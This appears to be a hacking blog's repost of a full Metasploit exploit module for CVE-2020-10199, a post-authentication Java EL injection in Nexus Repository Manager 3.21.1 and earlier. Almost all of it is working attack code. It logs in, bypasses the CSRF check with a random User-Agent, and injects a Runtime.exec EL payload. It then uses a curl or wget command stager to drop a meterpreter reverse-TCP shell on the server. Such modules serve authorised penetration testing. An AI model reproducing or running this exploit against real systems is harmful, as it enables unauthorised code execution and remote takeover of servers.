Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379618

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nexus Repository Manager Java EL Injection RCE',
      'Description'     => %q{
        This module exploits a Java Expression Language (EL) injection in Nexus
        Repository Manager versions up to and including 3.21.1 to execute code
        as the Nexus user.

        This is a post-authentication vulnerability, so credentials are required
        to exploit the bug. Any user regardless of privilege level may be used.

        Tested against 3.21.1-01.
      },
      'Author'          => [
        'Alvaro Muñoz', # Discovery
        'wvu'           # Module
      ],
      'References'      => [
        ['CVE', '2020-10199'],
        ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
        ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
      ],
      'DisclosureDate'  => '2020-03-31', # Vendor advisory
      'License'         => MSF_LICENSE,
      'Platform'        => 'linux',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Privileged'      => false,
      'Targets'         => [['Nexus Repository Manager <= 3.21.1', {}]],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
      'CmdStagerFlavor' => %i[curl wget],
      'Notes'           => {
        'Stability'     => [CRASH_SAFE],
        'Reliability'   => [REPEATABLE_SESSION],
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME',  [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD',  [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie:   login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => normalize_uri(target_uri.path,
                                    '/service/rapture/session'),
      'vars_post'  => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial'    => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to login request')
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path,
                                '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent'  => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype'  => 'application/json',
      'data'   => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to payload request')
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name'                          => 'internal',
      'online'                        => true,
      'storage'                       => {
        'blobStoreName'               => 'default',
        'strictContentTypeValidation' => true
      },
      'group'                         => {
        # XXX: memberNames has to be an array, but the API example was a string
        'memberNames'                 => [el_payload(cmd)]
      }
    }.to_json
  end

  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
    # HACK: Format our EL expression nicely and then strip introduced whitespace
    el = <<~EOF.gsub(/\s+/, '')
      ${
        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
          "".getClass().forName("java.lang.Runtime")
        ).exec("PATCH_ME")
      }
    EOF

    # Patch in our command, escaping any double quotes
    el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end

end